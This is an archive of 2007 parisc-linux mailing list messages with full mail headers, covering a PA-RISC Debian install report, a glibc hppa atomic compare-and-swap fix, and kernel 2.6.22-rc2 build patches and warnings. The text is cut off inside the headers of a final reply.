Installation went very well without any problem, in some cases easier 
than on an Intel system. I was very impressed, good job! I am using
ext3 and reiserfs file systems.

Matt Simpson


-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
	function
Date: Sun, 20 May 2007 11:34:46 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200705201534.l4KFYknM023731__5265.95525811917$1416624364$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624364 23950 80.91.229.3 (22 Nov 2014 02:46:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:04 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2007 15:34:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 20 May 2007 17:34:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 02A3F7DCE5;
	Sun, 20 May 2007 09:34:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26866-05; Sun, 20 May 2007 09:34:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B44C07DCE6;
	Sun, 20 May 2007 09:34:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1CF707DCE4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 May 2007 09:34:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26866-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 May 2007 09:34:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3B3007DCE3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 May 2007 09:34:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l4KFYlgx023735;
	Sun, 20 May 2007 11:34:47 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l4KFYknM023731;
	Sun, 20 May 2007 11:34:46 -0400 (EDT)
In-Reply-To: <119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com> from
	"Carlos O'Donell" at May 20, 2007 11:22:18 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kVxldxgZbUkoyunGPWgnyDdkZ2hlN0rC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24562

> > -#define ASM_EAGAIN "11"
> > +#define ASM_EAGAIN "-11"

If the check is wrong, I would change the compare instead of the
define.  Error numbers are normally defined as positive values.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fw: Hardware-List
Date: Thu, 24 May 2007 19:06:32 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200705242306.l4ON6Xas019531__39609.9949408837$1416624364$gmane$org@hiauly1.hia.nrc.ca>
References: <20070524234051.3b9bcbfd@Alucard.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624364 23954 80.91.229.3 (22 Nov 2014 02:46:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: T-Bone@parisc-linux.org (Thibaut VARENE)
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2007 23:09:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 25 May 2007 01:09:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87D757DE4C;
	Thu, 24 May 2007 17:06:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12536-05; Thu, 24 May 2007 17:06:41 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A3C57DE48;
	Thu, 24 May 2007 17:06:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 641C57DE49
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 17:06:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12202-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 17:06:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8FCE37DE48
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 May 2007 17:06:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l4ON6Xba019532;
	Thu, 24 May 2007 19:06:33 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l4ON6Xas019531;
	Thu, 24 May 2007 19:06:33 -0400 (EDT)
In-Reply-To: <20070524234051.3b9bcbfd@Alucard.r3z0> from "Thibaut VARENE" at
	May 24, 2007 11:40:51 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DClkdQ85PTRtyejGPjIwuYQxc2tpZEtA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24563

> I have successfully installed hppa etch on an HP c3750, in text mode 
> only on the graphics console (i.e. not the serial console). The HP 
> graphics card is not supported but I don't need graphics on this
> system. PA-RISC 875 mhz processor, 4G RAM.

For those that do want graphics, I had a problem migrating to
the xorg server.  Keyboard input didn't work because the server
was looking in the wrong place for XKeysymDB.

A fix is here:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=422430

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] merge 2.6.22-rc2 ftbfs
Date: Fri, 25 May 2007 11:54:53 +0200
Lines: 128
Approved: news@gmane.org
Message-ID: <JILCVH$61D15139B4C794DE6FE7310CA621D93B__8723.69042267582$1416624365$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624365 23958 80.91.229.3 (22 Nov 2014 02:46:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:05 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 May 2007 09:55:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 25 May 2007 11:55:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32A437DE6B;
	Fri, 25 May 2007 03:55:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19720-01; Fri, 25 May 2007 03:55:04 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E92E67DE66;
	Fri, 25 May 2007 03:55:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D9B4A7DE63
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 03:54:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19470-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 03:54:56 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 9E57A7DE62
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 May 2007 03:54:55 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id l4P9sqj23792 
	for <parisc-linux@lists.parisc-linux.org>; 
	Fri, 25 May 2007 11:54:53 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: t4Bvfgg7YW0+k7uGbmZpI2J0amthc9vx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24564

Hello Kyle,

Just a short playtime (just need to have some fun from time to time) and =
here
are two small patch which help me build your merge of 2.6.22-rc2:
--- ./drivers/parisc/pdc_stable.c.Orig  2007-05-24 13:19:16.000000000 +00=
00
+++ ./drivers/parisc/pdc_stable.c       2007-05-25 07:03:29.000000000 +00=
00
@@ -1067,7 +1067,7 @@
                        error =3D subsys_create_file(&stable_subsys, attr=
);

        /* register the paths subsys as a subsystem of stable subsys */
-       kset_set_kset_s(&paths_subsys, stable_subsys);
+       kobj_set_kset_s(&paths_subsys, stable_subsys);
        if ((rc =3D subsystem_register(&paths_subsys)))
                goto fail_subsysreg;

--- ./drivers/parisc/power.c.Orig       2007-05-25 07:04:03.000000000 +00=
00
+++ ./drivers/parisc/power.c    2007-05-25 07:04:13.000000000 +0000
@@ -35,6 +35,7 @@
  */

 #include <linux/module.h>
+#include <linux/pm.h>
 #include <linux/init.h>
 #include <linux/kernel.h>
 #include <linux/notifier.h>

That even boot on a b180 and a b2k (32bit) compiled with:
# gcc -v
Using built-in specs.
Target: hppa-linux-gnu
Configured with: ../src/configure -v
--enable-languages=3Dc,c++,fortran,objc,obj-c++,treelang --prefix=3D/usr
--enable-shared --with-system-zlib --libexecdir=3D/usr/lib
--without-included-gettext --enable-threads=3Dposix --enable-nls
--with-gxx-include-dir=3D/usr/include/c++/4.1.3 --program-suffix=3D-4.1
--enable-__cxa_atexit --enable-clocale=3Dgnu --enable-libstdcxx-debug
--enable-mpfr --disable-libssp --enable-checking=3Drelease hppa-linux-gnu=

Thread model: posix
gcc version 4.1.3 20070518 (prerelease) (Debian 4.1.2-8)

but I am worry of some WARNING:
## B180
make -f /CAD/linux-2.6.22-rc2-20070524/scripts/Makefile.modpost vmlinux
  scripts/mod/modpost   -o /CAD/linux-2.6-pa-b180/Module.symvers   
arch/parisc/kernel/head.o   init/built-in.o  usr/built-in.o  arc
h/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o 
arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o  kernel/bu=
ilt-
in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o  security/built-in.o 
crypto/built-in.o  block/built-in.o  lib/lib.a  arch/parisc
/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o 
arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built-i=
n
.o  sound/built-in.o  net/built-in.o
WARNING: arch/parisc/kernel/built-in.o(.text.alloc_pa_dev+0x150): Section=

mismatch: reference to .init.text:parisc_hardware_descript
ion (after 'alloc_pa_dev')
WARNING: arch/parisc/kernel/built-in.o(.data.read_mostly+0xc4): Section
mismatch: reference to .init.text:processor_probe (between '
cpu_driver' and 'boot_cpu_data')
WARNING: drivers/built-in.o(.text.eisa_probe+0x2c8): Section mismatch:
reference to .init.text:eisa_root_register (after 'eisa_probe
')
WARNING: drivers/built-in.o(.text.sticore_pci_init+0xac): Section mismatc=
h:
reference to .init.text:sti_try_rom_generic (after 'stic
ore_pci_init')
WARNING: drivers/built-in.o(.text.sticore_pci_init+0xcc): Section mismatc=
h:
reference to .init.text:sticore_check_for_default_sti (a
fter 'sticore_pci_init')
WARNING: drivers/built-in.o(.text.parport_init_chip+0x70): Section mismat=
ch:
reference to .init.data:parport_count (after 'parport_i
nit_chip')
WARNING: drivers/built-in.o(.text.parport_init_chip+0x74): Section mismat=
ch:
reference to .init.data:parport_count (after 'parport_i
nit_chip')
WARNING: drivers/built-in.o(.text.parport_init_chip+0x7c): Section mismat=
ch:
reference to .init.data:parport_count (after 'parport_i
nit_chip')
rm -f .old_version

## B2k
make -f /CAD/linux-2.6.22-rc2-20070524/scripts/Makefile.modpost vmlinux
  scripts/mod/modpost -m  -o /CAD/linux-2.6-pa-b2k32/Module.symvers   
arch/parisc/kernel/head.o   init/built-in.o  usr/built-in.o
arch/parisc/mm/built-in.o  arch/parisc/kernel/built-in.o 
arch/parisc/math-emu/built-in.o arch/parisc/kernel/init_task.o  kernel/bu=
i
lt-in.o  mm/built-in.o  fs/built-in.o  ipc/built-in.o  security/built-in.=
o 
crypto/built-in.o  block/built-in.o  lib/lib.a  arch/par
isc/lib/lib.a `gcc -print-libgcc-file-name`  lib/built-in.o 
arch/parisc/lib/built-in.o `gcc -print-libgcc-file-name`  drivers/built
-in.o  sound/built-in.o  arch/parisc/oprofile/built-in.o  net/built-in.o
WARNING: arch/parisc/kernel/built-in.o(.text.alloc_pa_dev+0x150): Section=

mismatch: reference to .init.text:parisc_hardware_descript
ion (after 'alloc_pa_dev')
WARNING: arch/parisc/kernel/built-in.o(.data.read_mostly+0xc8): Section
mismatch: reference to .init.text:processor_probe (between '
cpu_driver' and 'boot_cpu_data')
WARNING: drivers/built-in.o(.text.lba_fixup_bus+0x3c): Section mismatch:
reference to .init.text:pci_read_bridge_bases (after 'lba_f
ixup_bus')
rm -f .old_version

Sorry to haven't any more much time to do more.

J.=0A---=0AFree iPod Nano 2GB with every Scarlet One Unlimited, 50GB, 6 M=
bps, from EUR 39,95

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
	function
Date: Sun, 20 May 2007 23:19:01 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20070520211900.GA22493__2028.50371501899$1416624365$gmane$org@i386.aurel32.net>
References: <119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com>
	<200705201534.l4KFYknM023731@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624365 23965 80.91.229.3 (22 Nov 2014 02:46:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:05 +0000 (UTC)
Cc: libc-ports@sourceware.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2007 21:19:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 20 May 2007 23:19:18 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 365B57DCEB;
	Sun, 20 May 2007 15:19:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28478-10; Sun, 20 May 2007 15:19:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C739D7DC6F;
	Sun, 20 May 2007 15:19:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E1457DC33
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 May 2007 15:19:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28478-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 May 2007 15:19:05 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 958E47DC26
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 May 2007 15:19:05 -0600 (MDT)
Original-Received: from i386.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:1010])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@i386.aurel32.net>)
	id 1Hpsnt-0005xJ-Gj; Sun, 20 May 2007 23:19:01 +0200
Original-Received: from aurel32 by i386.aurel32.net with local (Exim 4.67)
	(envelope-from <aurel32@i386.aurel32.net>)
	id 1Hpsnt-0005qz-1d; Sun, 20 May 2007 23:19:01 +0200
Content-Disposition: inline
In-Reply-To: <200705201534.l4KFYknM023731@hiauly1.hia.nrc.ca>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z4l2bkPWLi5n1PfRZWtpgzxjZml1ZNhX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24565

On Sun, May 20, 2007 at 11:34:46AM -0400, John David Anglin wrote:
> > > -#define ASM_EAGAIN "11"
> > > +#define ASM_EAGAIN "-11"
> 
> If the check is wrong, I would change the compare instead of the
> define.  Error numbers are normally defined as positive values.
> 

Then, what about this patch?

--- ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h.orig	2007-05-20 23:15:37.000000000 +0200
+++ ports/sysdeps/unix/sysv/linux/hppa/bits/atomic.h	2007-05-20 23:15:59.000000000 +0200
@@ -71,10 +71,10 @@
 	"copy	%5, %%r24			\n\t"			\
 	"ble	" LWS "(%%sr2, %%r0)		\n\t"			\
 	"ldi	" LWS_CAS ", %%r20		\n\t"			\
+        "sub	%%r0, %%r21, %%r21		\n\t"			\
 	"cmpib,=,n " ASM_EAGAIN ",%%r21,0b	\n\t"			\
 	"nop					\n\t"			\
 	"stw	%%r28, %0			\n\t"			\
-        "sub	%%r0, %%r21, %%r21		\n\t"			\
 	"stw	%%r21, %1			\n\t"			\
 	: "=m" (lws_ret), "=m" (lws_errno), "=m" (*mem)			\
         : "r" (mem), "r" (oldval), "r" (newval)				\

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge 2.6.22-rc2 ftbfs
Date: Fri, 25 May 2007 13:37:15 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20070525173715.GA14171__899.072064976458$1416624365$gmane$org@fattire.cabal.ca>
References: <JILCVH$61D15139B4C794DE6FE7310CA621D93B@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624365 23970 80.91.229.3 (22 Nov 2014 02:46:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:05 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 May 2007 17:37:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 25 May 2007 19:37:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B5267DE23;
	Fri, 25 May 2007 11:37:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
